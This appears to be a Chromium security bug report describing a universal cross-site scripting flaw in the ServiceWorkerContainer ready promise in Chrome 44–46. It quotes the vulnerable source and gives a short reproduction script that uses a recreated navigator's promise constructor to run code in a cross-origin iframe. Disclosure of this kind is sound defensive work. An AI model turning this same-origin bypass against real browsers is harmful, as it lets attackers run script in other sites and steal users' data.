#### VULNERABILITY DETAILS
From /WebKit/Source/modules/serviceworkers/ServiceWorkerContainer.cpp:
```
ScriptPromise ServiceWorkerContainer::ready(ScriptState* callerState)
{
    if (!executionContext())
        return ScriptPromise();
(...)
    if (!m_ready) {
        m_ready = createReadyProperty();
        if (m_provider)
            m_provider->getRegistrationForReady(new GetRegistrationForReadyCallback(m_ready.get()));
    }
    return m_ready->promise(callerState->world());
}
```
|m_ready| inherits the execution context of the serviceWorkerContainer, and that's the context associated with the navigator's frame when the container is created in NavigatorServiceWorker::serviceWorker. The navigator object can be recreated with the frame holding a cross-origin window, so the promise object created in the |m_ready->promise(callerState->world())| call may end up using a wrong creation context.
#### VERSION
Chrome 44.0.2403.155 (Stable)  
Chrome 45.0.2454.46 (Beta)  
Chrome 46.0.2486.0 (Dev)  
Chromium 46.0.2488.0 (Release build compiled today)
#### REPRODUCTION CASE
```
<script>
var i = document.documentElement.appendChild(document.createElement('iframe'));
var f = frames[0].Function;
i.onload = function() {
  f('return navigator')().serviceWorker.ready.constructor.constructor('alert(location)')();
}
i.src = 'https://abc.xyz';
</script>
```
                       
                       
        
          
暂无评论